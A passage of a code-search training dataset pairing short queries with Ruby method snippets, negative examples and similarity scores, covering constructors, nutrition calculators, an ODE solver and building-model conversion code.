\"label-icon\")\n end" ]
[ "0.7523847", "0.7255705", "0.72204465", "0.7114549", "0.70309913", "0.701399", "0.68072164", "0.6746772", "0.66348696", "0.6561145", "0.6408674", "0.6346601", "0.63315576", "0.63032377", "0.6242245", "0.61814386", "0.6108079", "0.60693747", "0.60654444", "0.6059303", "0.6031768", "0.6012959", "0.59873104", "0.59789383", "0.5974647", "0.59090567", "0.59090567", "0.5885477", "0.58783305", "0.58712655", "0.58665055", "0.5838235", "0.57793987", "0.57581663", "0.5757213", "0.5742184", "0.5739698", "0.57293546", "0.572132", "0.571542", "0.5714702", "0.570626", "0.5703806", "0.56945825", "0.569077", "0.56683135", "0.56660354", "0.5649033", "0.563008", "0.56295675", "0.56295675", "0.56295675", "0.5629472", "0.56284875", "0.56267565", "0.56211936", "0.56007826", "0.55966985", "0.558167", "0.55393934", "0.5536456", "0.5532627", "0.5529089", "0.5519766", "0.5494925", "0.54813516", "0.54732066", "0.54671276", "0.5456287", "0.5456213", "0.5447234", "0.54471284", "0.54442585", "0.54395294", "0.5431323", "0.54135245", "0.5412868", "0.5409652", "0.5403572", "0.5397343", "0.5394766", "0.5391958", "0.53906244", "0.53896976", "0.53661716", "0.53565776", "0.53546417", "0.53386784", "0.533557", "0.53299385", "0.53299385", "0.53276116", "0.53204614", "0.5313023", "0.53001577", "0.529224", "0.5286552", "0.5285343", "0.52849394", "0.5274475" ]
0.8290366
0
////////////////////////////////////////////////////////////////////////// Constructors ////////////////////////////////////////////////////////////////////////// Object Initialization
def initialize @id = 0 @name = "" @icon_index = 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize\n \n end", "def initialize\r\n\r\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n\t\t\n\tend", "def constructor; end", "def initialize() end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize; end", "def initialize\n init\n end", "def initialize()\n end", "def initialize\n end", "def initialize\n end", "def initialize\n\n\tend", "def initialize\n\n\tend", "def initialize\n \n end", "def initialize\n \n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize\n end", "def initialize()\n\t\tend", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize()\n end", "def initialize\n\n end", "def initialize\n\n end", "def initialize()\r\n\r\n end", "def initialize\n initialize!\n end", "def initialize\n initialize!\n end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize(*) end", "def initialize\n\n\n\n end", "def initialize()\n end", "def initialize()\n end", "def initialize\n \n end", "def initialize()\n\n end", "def init; end", "def init; end", "def init; end", "def init; end", "def initialize()\n\tend", "def initialize()\n\tend", "def initialize\n # nothing here for now\n end", "def initialize\n\t\nend", "def initialize\nend", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def initialize\n super()\n end", "def init\n end", "def init\n end", "def init\n end", "def initialize\n puts \"constructor is automatically called when we create object\"\n end", "def initialize\n\n\nend", "def initialize( * )\n super\n end", "def initialize()\n raise \"#{self.class.to_s} should not be instantiated directly.\"\n end", "def initialize\n super\n end", "def initialize\n super\n end", "def initialize\n super\n end", "def initialize\n\nend", "def init\n\n end" ]
[ "0.8748141", "0.86548895", "0.86400115", "0.86400115", "0.86400115", "0.86400115", "0.86400115", "0.86400115", "0.86400115", "0.86400115", "0.86400115", "0.8604853", "0.858883", "0.8567256", "0.8560972", "0.8560972", "0.8560972", "0.8560972", "0.8560972", "0.8560972", "0.8548862", "0.8548862", "0.8548862", "0.8548862", "0.8548862", "0.8548862", "0.8548862", "0.8548862", "0.8548862", "0.8548862", "0.8548862", "0.8522798", "0.8510341", "0.8503217", "0.8498265", "0.84706104", "0.84706104", "0.8430381", "0.8430381", "0.8388864", "0.8388864", "0.8388864", "0.8388864", "0.8388864", "0.8388864", "0.8388864", "0.8388864", "0.8388864", "0.8388864", "0.836872", "0.8353226", "0.8353226", "0.8353226", "0.8353226", "0.8353226", "0.8353226", "0.8353226", "0.8353226", "0.8319253", "0.8319253", "0.8302381", "0.82534486", "0.82534486", "0.82272375", "0.82272375", "0.82272375", "0.82272375", "0.82272375", "0.81806064", "0.8140374", "0.8140374", "0.80653083", "0.80599797", "0.8042753", "0.8042753", "0.8042753", "0.8042753", "0.803252", "0.803252", "0.8029587", "0.8025447", "0.8017652", "0.7957727", "0.7957727", "0.7957727", "0.7957727", "0.7957727", "0.7957727", "0.7957727", "0.7937024", "0.7937024", "0.7937024", "0.7893394", "0.78901464", "0.7867141", "0.7793929", "0.7792319", "0.7792319", "0.7792319", "0.7787328", "0.77487254" ]
0.0
-1
Return a PORO that represents this program (for unit tests)
def serialize { class: 'Program', sk_classes: @sk_classes.transform_values(&:serialize), sk_main: @sk_main.serialize, } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def program\n @@program ||= ATP::Program.new\n end", "def program\n @@program ||= ATP::Program.new\n end", "def main\n @app.main\n end", "def main\n self\n end", "def new\n @programa = Programa.new\n end", "def main\n @workspace.main\n end", "def app\n TicTacToeAiNApp # most examples use App.new - reason why we don't need .new here? ?????\n end", "def program() @program end", "def app\n TicTacToeNApp # most examples use App.new - reason why we don't need .new here? ?????\n end", "def this_program\n @program\n end", "def program\n @compile\n end", "def make; end", "def create_app_object(appname)\n app = OpenStruct.new\n appsettings = JSON.parse(File.read(appname))\n appsettings[\"appvariables\"].each { |k,v| app.public_send(\"#{k}=\", v) }\n injectfunctions($defaultshortcuts[\"tabshash\"],appsettings[\"tabshash\"]).each { |k,v| app.public_send(\"#{k}=\", v) }\n injectfunctions($defaultshortcuts[\"fileshash\"],appsettings[\"fileshash\"]).each { |k,v| app.public_send(\"#{k}=\", v) }\n injectfunctions($defaultshortcuts[\"viewshash\"],appsettings[\"viewshash\"]).each { |k,v| app.public_send(\"#{k}=\", v) }\n return app\nend", "def map_to_interface\n Octothorpe.new(to_h)\n end", "def app\n TestApp.new\n end", "def build_program\n assert_ready_to_build\n\n result = build_header + build_struct_types + build_header_structs + \n build_array_command_struct_types + build_environment_struct + \n build_kernels + host_section_source\n\n # Build program entry point\n return result + Translator.read_file(file_name: \"host_section_entry_point.cpp\", replacements: {\n \"prepare_environment\" => environment_builder.build_environment_variable,\n \"host_env_var_name\" => Constants::ENV_HOST_IDENTIFIER,\n \"host_result_array\" => host_result_expression})\n end", "def app; @app; end", "def initialize # :notnew:\n evaluate PRELUDE, PRELUDE_PATH, 1\n global.Johnson.runtime = self\n global['Ruby'] = Object\n evaluate CORE, CORE_PATH, 1\n end", "def app\n @app || make_app\nend", "def main\n end", "def main\n super\n return self\n end", "def main\n\n operations.make\n \n operations.each {|op|\n new_experimental_plt = op.output(OUTPUT).collection\n note = op.input(NOTE).val.to_s\n if note != '' || note != nil || note != ' '\n note_entered = true\n key = 'Note'\n Item.find(new_experimental_plt.id).associate key.to_sym, note\n end\n show {\n title \"New Experimental Plate Created\"\n separator\n note \"Output Item: <b>#{new_experimental_plt}</b>\"\n bullet \"Output Object Type: <b>#{new_experimental_plt.object_type.name}</b>\"\n (note_entered) ? (bullet \"Note: <b>#{note}</b>\") : nil\n }\n }\n \n return {}\n \n end", "def main\n\n end", "def ui\n @ui ||= Thor::Base.shell.new\n end", "def mainFile\n object\n end", "def new\n @robot = Robot.new\n end", "def main(context)\n compiler = compiler_for(:Space , :main ,{args: :Integer})\n compiler.add_mom( Mom::ReturnSequence.new)\n return compiler\n end", "def to_project\n\t\tp = Rubyfocus::Project.new(nil)\n\t\tinstance_variables.each do |ivar|\n\t\t\tnext if ivar == :\"@document\"\n\t\t\tsetter = ivar.to_s.gsub(/^@/,\"\") + \"=\"\n\t\t\tp.send(setter, self.instance_variable_get(ivar))\tif p.respond_to?(setter)\n\t\tend\n\t\tp\n\tend", "def main\n\n # test\n\n # Console.new\n console_start\n end", "def new\n @program = Program.new\n @costs = []\n respond_with(@program)\n end", "def builder; end", "def builder; end", "def builder; end", "def program\n ::HubEdos::Common::Reference::Descriptor.new(@data['program']) if @data['program']\n end", "def new(app_path, generator: Project.new(cli: self, app_path: app_path))\n app = generator.generate\n say <<~SAY\n\n Success! Created #{app.camelized_name} at #{app.absolute_app_path}\n Inside that directory, you can run several commands:\n\n #{cmd :server}\n Starts the development server\n\n #{cmd :test}\n Starts the test runner\n\n #{cmd :generate}\n Add elements you may have skipped, like RSpec or Webpack\n\n We suggest that you begin by typing:\n\n #{cmd :cd, path: app_path}#{cmd :server}\n\n and visiting localhost:3000 in your browser.\n For more information, check out the generated readme file.\n\n SAY\n end", "def app\n MyApp.new\nend", "def generate\n raise \"must implement\"\n end", "def test_me\n puts Wisdom.new('[Initial]')\nend", "def maker\n @@maker \n end", "def main\n @main ||= RubyPython.import \"__main__\"\n end", "def roby_app\n @roby_app ||= interface.app\n end", "def create_player_o\n p = Player.new()\n p.title = \"application\"\n p.session_string = \"application\"\n \n return p \n end", "def program; end", "def new\n puts \"Creating new blank Praxis app under #{app_name}\"\n create_root_files\n create_config\n create_app\n create_design\n create_spec\n create_docs\n end", "def get_main\n space = get_class_by_name :Space\n space.instance_type.get_method :main\n end", "def project; end", "def get_program_def(name:)\n PROGRAMS[name]\n end", "def compiler\n @compiler ||= Compiler.new(self)\n end", "def compiler\n @compiler ||= Compiler.new(self)\n end", "def main; end", "def gen\n with_output_to @fn do\n pp \"require 'spqr/spqr'\"\n pp \"require 'spqr/app'\"\n\n pp \"\"\n\n @scs.each do |sc|\n pp(\"require '#{sc.package.gsub(/[.]/, '/')}/#{sc.name}'\")\n end\n\n \n pp \"\"\n \n pp \"app = SPQR::App.new(:loglevel => :debug)\"\n \n klass_list = @scs.collect do |sc|\n (sc.package.split(\".\").collect{|pkg| pkg.capitalize} << sc.name).join(\"::\")\n end\n \n pp \"app.register #{klass_list.join ','}\"\n \n pp \"\"\n\n pp \"app.main\"\n end\n end", "def app\n app_class.new\n end", "def to_make\n Target.new(@output, @objects, [command, \"ranlib #{output}\"])\n end", "def ui\n env.ui\n end", "def ui\n env.ui\n end", "def initialize()\n props = project_properties\n \n @app_id = props[:id]\n @app_name = props[:name]\n @app_is_desktop = props[:desktop]\n end", "def main\n solar_system = create_solar_system\n cli(solar_system)\nend", "def new\n \n end", "def app\n @app ||= Origen::Application.from_namespace(self.class.to_s)\n end", "def appFX\n appEM.app\nend", "def new\n @theory = Theory.new\n end", "def new\n\t\t@application = Application.new\t\t\n\tend", "def initialize(session, workspace = nil, input_method = nil, output_method = nil)\n @session = session\n if workspace\n @workspace = workspace\n else\n @workspace = WorkSpace.new\n end\n @thread = Thread.current if defined? Thread\n #@pry_level = 0\n\n # copy of default configuration\n @ap_name = Pry.conf[:AP_NAME]\n @rc = Pry.conf[:RC]\n @load_modules = Pry.conf[:LOAD_MODULES]\n\n @use_readline = Pry.conf[:USE_READLINE]\n @verbose = Pry.conf[:VERBOSE]\n @io = nil\n\n self.inspect_mode = Pry.conf[:INSPECT_MODE]\n self.math_mode = Pry.conf[:MATH_MODE] if Pry.conf[:MATH_MODE]\n self.use_tracer = Pry.conf[:USE_TRACER] if Pry.conf[:USE_TRACER]\n self.use_loader = Pry.conf[:USE_LOADER] if Pry.conf[:USE_LOADER]\n self.eval_history = Pry.conf[:EVAL_HISTORY] if Pry.conf[:EVAL_HISTORY]\n\n @ignore_sigint = Pry.conf[:IGNORE_SIGINT]\n @ignore_eof = Pry.conf[:IGNORE_EOF]\n\n @back_trace_limit = Pry.conf[:BACK_TRACE_LIMIT]\n\n self.prompt_mode = Pry.conf[:PROMPT_MODE]\n\n if Pry.conf[:SINGLE_IRB] or !defined?(Pry::JobManager)\n @pry_name = Pry.conf[:PRY_NAME]\n else\n @pry_name = Pry.conf[:PRY_NAME]+\"#\"+Pry.JobManager.n_jobs.to_s\n end\n @pry_path = \"(\" + @pry_name.to_s + \")\"\n\n case input_method\n when nil\n case use_readline?\n when nil\n if (defined?(ReadlineInputMethod) && STDIN.tty? &&\n Pry.conf[:PROMPT_MODE] != :INF_RUBY)\n @io = ReadlineInputMethod.new\n else\n @io = StdioInputMethod.new\n end\n when false\n @io = StdioInputMethod.new\n when true\n if defined?(ReadlineInputMethod)\n @io = ReadlineInputMethod.new\n else\n @io = StdioInputMethod.new\n end\n end\n\n when String\n @io = FileInputMethod.new(input_method)\n @pry_name = File.basename(input_method)\n @pry_path = input_method\n else\n @io = input_method\n end\n self.save_history = Pry.conf[:SAVE_HISTORY] if Pry.conf[:SAVE_HISTORY]\n\n if output_method\n @output_method = output_method\n else\n @output_method = StdioOutputMethod.new\n end\n\n @echo = Pry.conf[:ECHO]\n if @echo.nil?\n @echo = true\n end\n self.debug_level = Pry.conf[:DEBUG_LEVEL]\n end", "def initialize(app); end", "def program\n @_program ||= begin\n ptr = MemoryPointer::new( Program )\n error = OpenCL.clGetKernelInfo(self, PROGRAM, Program.size, ptr, nil)\n error_check(error)\n Program::new(ptr.read_pointer)\n end\n end", "def program\n ptr = FFI::MemoryPointer::new( Program )\n error = OpenCL.clGetKernelInfo(self, PROGRAM, Program.size, ptr, nil)\n error_check(error)\n return Program::new(ptr.read_pointer)\n end", "def generator\n @app.generator\nend", "def create_comp_gen\n MPC::IDLProject.new(:comp_gen, self)\n end", "def call\n {\n name: app.name,\n html: app.html.code,\n css: app.css.code,\n ruby: app.ruby.code,\n }\n end", "def app\n defined?(@app) ? @app : build_app\n end", "def compile\n @instance ||= new\n end", "def help\n Help.new\n end", "def help\n Help.new\n end", "def to_code\n\t\tprefix = [ \n\t\t\t\"#!/usr/bin/ruby\", \n\t\t\t\"system( \\\"#{self.to_scaffold}\\\")\", \n\t\t\t\"Dir.chdir \\\"#{self.name}\\\"\" \n\t\t]\n\n\t\tself.klasses.reduce( prefix) { |m,klass| \n\t\t\tm << \"system( \\\"#{klass.to_scaffold}\\\")\" << klass_to_file(klass)\n\t\t} << \"rake db:create\" << \"rake db:migrate\"\n\tend", "def standalone; end", "def project\n @project ||= Project.new(root)\n end", "def rom\n ROM.env\n end", "def create_player_o\n\t\tp = Player.new()\n\t\tp.title = \"application\"\n\t\tp.session_string = \"application\"\n\t\t\n\t\treturn p\t\t\n\tend", "def new\n @opponent = Opponent.new\n end", "def build_uut_base(data)\n # Initalize RubyClassCodeBuilder\n\n uut = RubyClassCodeBuilder.new(data[:name],data[:variables])\n\n # Create MethodCodeBuilder for 'ctor'\n ctor_method_builder = data[:class_methods][\"initialize\"][:builder]\n # 'add_method(ctor)' \n uut.add_method(ctor_method_builder)\n\n # Create MethodCodeBuilder for 'run'\n run_method_builder = data[:class_methods][\"run\"][:builder]\n # 'add_method(run)' \n\n uut.add_method(run_method_builder) \n\n # Create MethodCodeBuilder for 'build_uut'\n uut_method_builder = data[:class_methods][\"build_uut\"][:builder]\n # 'add_method(run)' \n uut.add_method(uut_method_builder)\n\n return uut\n end", "def app; end", "def app; end", "def app; end", "def app; end", "def app; end", "def app; end", "def app; end", "def app; end", "def app; end", "def app; end", "def create_solar_system\n\n # Instantiate Solar System\n solar_system = SolarSystem.new('Sun')\n\n # Add instances of planets to instance of solar system\n mercury = Planet.new('Mercury','dark grey',3.30e23, 57.9, 'Is hot, but not too hot for ice')\n solar_system.add_planet(mercury)\n\n mars = Planet.new('Mars','pale yellow', 6.42e23, 227.9,'Had a thicker atmosphere in the past')\n solar_system.add_planet(mars)\n\n venus = Planet.new('Venus','pale yellow', 4.87e24, 108.2,'A day on Venus is longer than a year')\n solar_system.add_planet(venus)\n\n earth = Planet.new('Earth','blue',5.97e24, 149.6, 'Is the only planet known to support life!')\n solar_system.add_planet(earth)\n\n return solar_system\nend", "def reflector; end", "def reflector; end", "def create_openstudio_model_new(runner = nil)\n beginning_time = Time.now\n\n end_time = Time.now\n BTAP::runner_register(\"Info\", \"Time elapsed #{(end_time - beginning_time)*1000} milliseconds\",runner)\n model = OpenStudio::Model::Model.new()\n #add All Materials\n # find_all_commands( \"Materials\" ).each do |doe_material|\n # end\n #\n # find_all_commands( \"Constructions\" ).each do |doe_cons|\n # end\n\n #this block will create OS story objects in the OS model. \n BTAP::runner_register(\"Info\", \"Exporting DOE FLOORS to OS\",runner)\n find_all_commands(\"FLOOR\").each do |doe_floor|\n doe_floor.convert_to_openstudio(model)\n end\n BTAP::runner_register(\"Info\", OpenStudio::Model::getBuildingStorys(model).size.to_s + \" floors created\",runner)\n\n #this block will create OS space objects in the OS model. \n BTAP::runner_register(\"Info\", \"Exporting DOE SPACES to OS\",runner)\n find_all_commands(\"SPACE\").each do |doe_space|\n doe_space.convert_to_openstudio(model)\n end\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSpaces(model).size.to_s + \" spaces created\",runner)\n \n #this block will create OS space objects in the OS model. \n BTAP::runner_register(\"Info\", \"Exporting DOE ZONES to OS\",runner)\n find_all_commands(\"ZONE\").each do |doe_zone|\n doe_zone.convert_to_openstudio(model)\n end\n BTAP::runner_register(\"Info\", OpenStudio::Model::getThermalZones(model).size.to_s + \" zones created\",runner)\n \n #this block will create OS surface objects in the OS model.\n BTAP::runner_register(\"Info\", \"Exporting DOE Surfaces to OS\",runner)\n get_all_surfaces().each do |doe_surface|\n doe_surface.convert_to_openstudio(model)\n end\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSurfaces(model).size.to_s + \" surfaces created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSubSurfaces(model).size.to_s + \" sub_surfaces created\",runner)\n BTAP::runner_register(\"Info\", \"Setting Boundary Conditions for surfaces\",runner)\n BTAP::Geometry::match_surfaces(model)\n \n x_scale = y_scale = z_scale = 0.3048\n BTAP::runner_register(\"Info\", \"scaling model from feet to meters\",runner)\n model.getPlanarSurfaces.each do |surface|\n new_vertices = OpenStudio::Point3dVector.new\n surface.vertices.each do |vertex|\n new_vertices << OpenStudio::Point3d.new(vertex.x * x_scale, vertex.y * y_scale, vertex.z * z_scale)\n end \n surface.setVertices(new_vertices)\n end\n \n model.getPlanarSurfaceGroups.each do |surface_group|\n transformation = surface_group.transformation\n translation = transformation.translation\n euler_angles = transformation.eulerAngles\n new_translation = OpenStudio::Vector3d.new(translation.x * x_scale, translation.y * y_scale, translation.z * z_scale)\n #TODO these might be in the wrong order\n new_transformation = OpenStudio::createRotation(euler_angles) * OpenStudio::createTranslation(new_translation) \n surface_group.setTransformation(new_transformation)\n end\n BTAP::runner_register(\"Info\", \"DOE2.2 -> OS Geometry Conversion Complete\",runner)\n BTAP::runner_register(\"Info\", \"Summary of Conversion\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getBuildingStorys(model).size.to_s + \" floors created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSpaces(model).size.to_s + \" spaces created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getThermalZones(model).size.to_s + \" thermal zones created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSurfaces(model).size.to_s + \" surfaces created\",runner)\n BTAP::runner_register(\"Info\", OpenStudio::Model::getSubSurfaces(model).size.to_s + \" sub_surfaces created\",runner)\n BTAP::runner_register(\"Info\", \"No Contruction were converted.\",runner)\n BTAP::runner_register(\"Info\", \"No Materials were converted\",runner)\n BTAP::runner_register(\"Info\", \"No HVAC components were converted\",runner)\n BTAP::runner_register(\"Info\", \"No Environment or Simulation setting were converted.\",runner)\n\n end_time = Time.now\n BTAP::runner_register(\"Info\", \"Time elapsed #{(end_time - beginning_time)} seconds\",runner)\n return model\n end", "def angular_scaffold\n object = get_stdin(\"What is the Object name to scaffold? \")\n puts \"Describe your structure like a model generation :\\nnom:string description:text prix:decimal rdv:date validation:boolean heure:time creation:datetime\"\n parameters = get_stdin(\"What's the structure of the object? \")\n system \"rails generate angular_scaffold #{object} #{parameters}\"\nend", "def call\n {\n name: app.name,\n html: {\n name: 'html',\n code: app.html.code,\n show: app.html.show,\n },\n css: {\n name: 'css',\n code: app.css.code,\n show: app.css.show,\n },\n ruby: {\n name: 'ruby',\n code: app.ruby.code,\n show: app.ruby.show,\n },\n show_js: app.show_js,\n }\n end", "def create_printer\n printer = Printer.new\n p printer\nend", "def setup(name=nil, show_constants=true)\n unless name\n tf = RubyVM::Frame.get(1)\n name = File.basename(tf.source_container[1], '.rb')\n end\n if ARGV.size > 0 && ARGV[0] == 'debug'\n require_relative '../lib/trepanning'\n dbgr = Trepan.new\n dbgr.debugger\n else\n dbgr = MockDebugger.new\n end\n\n cmds = dbgr.core.processor.commands\n cmd = cmds[name]\n cmd.proc.frame_setup(RubyVM::Frame::get(1))\n show_special_class_constants(cmd) if show_constants\n\n def cmd.confirm(prompt, default)\n true\n end\n def cmd.errmsg(message, opts={})\n puts \"Error: #{message}\"\n end\n def cmd.msg(message, opts={})\n puts message\n end\n def cmd.msg_nocr(message, opts={})\n print message\n end\n def cmd.section(message, opts={})\n puts \"Section: #{message}\"\n end\n\n return dbgr, cmd\n end", "def initialize\n @console = Console.new\n end", "def pods_project\n @pods_project ||= Xcodeproj::Project.open(target.sandbox.project_path)\n end", "def app\n Application.new\nend" ]
[ "0.6249059", "0.6249059", "0.6030349", "0.5853819", "0.58456194", "0.5844979", "0.58396834", "0.58163434", "0.5795005", "0.5709735", "0.56958", "0.5665033", "0.5659486", "0.5644278", "0.56155944", "0.5573469", "0.5528559", "0.5522893", "0.5512547", "0.5483886", "0.54835254", "0.5445332", "0.54370755", "0.54022217", "0.5363837", "0.53564477", "0.5340184", "0.5337317", "0.5334543", "0.5328487", "0.5323015", "0.5323015", "0.5323015", "0.53211284", "0.53064215", "0.52753526", "0.5235406", "0.52330565", "0.5228086", "0.5214621", "0.5211677", "0.5197465", "0.51956123", "0.51917124", "0.51903135", "0.518839", "0.5176419", "0.5176046", "0.5176046", "0.5165975", "0.5164783", "0.51618505", "0.5160128", "0.5154305", "0.5154305", "0.5152997", "0.515193", "0.51458246", "0.51421344", "0.51398146", "0.5139035", "0.51375186", "0.5133406", "0.51255625", "0.5122852", "0.51127267", "0.51079184", "0.51066434", "0.51058173", "0.51036155", "0.51027703", "0.5093109", "0.5093109", "0.5090296", "0.50892156", "0.50857496", "0.5083951", "0.5081843", "0.508041", "0.50735474", "0.5068162", "0.5068162", "0.5068162", "0.5068162", "0.5068162", "0.5068162", "0.5068162", "0.5068162", "0.5068162", "0.5068162", "0.5065603", "0.50639063", "0.50639063", "0.50601745", "0.50588864", "0.50573045", "0.50540876", "0.50538236", "0.5046157", "0.50451666", "0.5039052" ]
0.0
-1
========================= paul fitz & meads
def first_pos(string) answer = Hash.new array = string.split(' ') array.each do |x| answer[x] = array.index(x) end answer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def malts; end", "def fit; end", "def imc \n\t\t@peso/(@talla*@talla)\n\tend", "def schumann; end", "def terpene; end", "def berlioz; end", "def suivre; end", "def grasa\n\t\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\n\tend", "def porcentajegrasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * @sexo - 5.4\n\tend", "def mitch_hedberg; end", "def topsman_periphacitis_urosteon()\n end", "def feruchemist; end", "def imc\n\t\tnum = (@peso/(@talla*@talla)).round(2)\n\t\tif num < 18.5\n\t\t\tnum #- Bajo peso\"\n\t\telsif num > 18.5 and num < 24.9\n\t\t\tnum #- Adecuado\"\n\t\telsif num > 25.0 and num < 29.9\n\t\t\tnum #- Sobrepeso\"\n\t\telsif num > 30.0 and num < 34.9\n\t\t\tnum #Obesidad grado 1\"\n\t\telsif num > 35.0 and num < 39.9\n\t\t\tnum #- Obesidad grado 2\"\n\t\telsif num > 40\n\t\t\tnum #- Obesidad grado 2\"\n\t\tend\t\t\t\n\tend", "def formation; end", "def two_pt\n fg - three_p\n end", "def dv; end", "def grasa(sexo,peso,talla)\n\t\t@grasa = 1.2*imc(peso,talla)+0.23*@edad-10.8*sexo-5.4\n\tend", "def bizet; end", "def pectoralis_stretch\n \"Clasp hands behind your back. Push the chest outward, and raise the chin. Hold the pose for 10 to 30 seconds.\"\nend", "def emisiones\n grtotal = 0\n sum = 0\n\t\t#recorre las dos listas a la vez para sacar los gases emitidos\n\t\t# de cada ingrediente segun el peso de este\n @lista.zip(@listagr).each do |normal, gr|\n cant = gr/1000.0\n sum += normal.gases*cant\n end\n @gei = sum\n\n end", "def ponderado(pesos)\n @promedio = @p.zip(pesos).inject(0) do |suma, coordenada, peso| {suma+coordenada*peso }\n end\nend", "def fml (m)\n\tend", "def mo_Earth() \r\n# [ -0.0000000434, -0.000000576, 0.00200340, \r\n# -0.0001831, -46.836769, 84381.406 ].inject(0.0) {|p, a| p * @ta + a} * DAS2R\r\n Celes.obl06(@ajd, 0)\r\n end", "def kcalglucidos\n\t\t\t@carbohidratos * 4\n\t\tend", "def in_law; end", "def huella\n\t\tindice1 = 0\n\t\t#dependiendo del vct de cada ingrediente, se le pone un indice\n\t\tif vct < 670\n\t\t\tindice1 = 1\n\t\t\t\n\t\telsif vct > 830\n\t\t\tindice1 = 3\n\t\telse \n\t\t\tindice1 = 2\n\t\tend \n\t\tindice2 = 0\n\t\t#dependiendo de los gases emitidos de cada ingrediente, \n\t\t#se le pone un indice\n\t\tif emisiones < 800\n\t\t\tindice2 = 1\n\t\telsif emisiones > 1200\n\t\t\tindice2 = 3\n\t\telse \n\t\t\tindice2 = 2\n\t\tend\n\t\t#hace la media de los indices sacados\n\t\tindiceres = (indice1+indice2)/2\n\t\t\n\n\tend", "def grasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * ( sexo ? 1 : 0) - 5.4\n\tend", "def points; end", "def mapee i=0\n dist[i][0]\n end", "def calc_effs\n @eff_x = (Math.cos(@angle*(Math::PI/180.0))*@length).round(2)\n @eff_y = (Math.sin(@angle*(Math::PI/180.0))*@length).round(2)\n\n @eff_x_width = (Math.cos((@angle-90.0)*(Math::PI/180.0))*(@width/2.0)).round(2)\n @eff_y_width = (Math.sin((@angle-90.0)*(Math::PI/180.0))*(@width/2.0)).round(2)\n\n #print(\"EZB eff #{@eff_x},#{eff_y} widths #{@eff_x_width},#{@eff_y_width}\\n\")\n end", "def calculated; end", "def smoothing; end", "def apply plataform\n\n end", "def calculate_genre\n calculate_name_embedded_points +\n calculate_points_from_peers\n end", "def potatoes(p0, w0, p1)\n # your code\n a = (129 / 100.to_f)\n a * 91\nend", "def villian; end", "def bradypode_paracephalus()\n end", "def manufacture; end", "def dopri\n a21 = 1.0/5.0\n a31 = 3.0/40.0\n a32 = 9.0/40.0\n a41 = 44.0/45.0\n a42 = -56.0/15.0\n a43 = 32.0/9.0\n a51 = 19372.0/6561.0\n a52 = -25360.0/2187.0\n a53 = 64448.0/6561.0\n a54 = -212.0/729.0\n a61 = 9017.0/3168.0\n a62 = -355.0/33.0\n a63 = 46732.0/5247.0\n a64 = 49.0/176.0\n a65 = -5103.0/18656.0\n a71 = 35.0/384.0\n a72 = 0.0\n a73 = 500.0/1113.0\n a74 = 125.0/192.0\n a75 = -2187.0/6784.0\n a76 = 11.0/84.0\n\n c2 = 1.0 / 5.0\n c3 = 3.0 / 10.0\n c4 = 4.0 / 5.0\n c5 = 8.0 / 9.0\n c6 = 1.0\n c7 = 1.0\n\n b1order5 = 35.0/384.0\n b2order5 = 0.0\n b3order5 = 500.0/1113.0\n b4order5 = 125.0/192.0\n b5order5 = -2187.0/6784.0\n b6order5 = 11.0/84.0\n b7order5 = 0.0\n\n b1order4 = 5179.0/57600.0\n b2order4 = 0.0\n b3order4 = 7571.0/16695.0\n b4order4 = 393.0/640.0\n b5order4 = -92097.0/339200.0\n b6order4 = 187.0/2100.0\n b7order4 = 1.0/40.0\n\n @x[0] = @xmin\n @u[0] = @yini\n @fx[0] = self.f(@x[0], @u[0])\n h = @dx \n i = 0\n\n 0.upto(@maxiter) do |iter|\n # Compute the function values\n k1 = @fx[i] \n k2 = self.f(@x[i] + c2*h, @u[i] + h*(a21*k1))\n k3 = self.f(@x[i] + c3*h, @u[i] + h*(a31*k1+a32*k2))\n k4 = self.f(@x[i] + c4*h, @u[i] + h*(a41*k1+a42*k2+a43*k3))\n k5 = self.f(@x[i] + c5*h, @u[i] + h*(a51*k1+a52*k2+a53*k3+a54*k4))\n k6 = self.f(@x[i] + h, @u[i] + h*(a61*k1+a62*k2+a63*k3+a64*k4+a65*k5))\n k7 = self.f(@x[i] + h, @u[i] + h*(a71*k1+a72*k2+a73*k3+a74*k4+a75*k5+a76*k6))\n\n error = (b1order5 - b1order4)*k1 + (b3order5 - b3order4)*k3 + (b4order5 - b4order4)*k4 + \n (b5order5 - b5order4)*k5 + (b6order5 - b6order4)*k6 + (b7order5 - b7order4)*k7\n error = error.abs\n\n # error control\n if error < @tol then\n @x[i+1] = @x[i] + h\n @u[i+1] = @u[i] + h * (b1order5*k1 + b3order5*k3 + b4order5*k4 + b5order5*k5 + b6order5*k6)\n @fx[i+1] = self.f(@x[i+1], @u[i+1])\n i = i+1\n end\n\n delta = 0.84 * (@tol / error)**0.2\n if delta <= 0.1 then\n h = h * 0.1\n elsif delta >= 4.0 then\n h = h * 4.0\n else \n h = delta * h\n end\n\n # set h 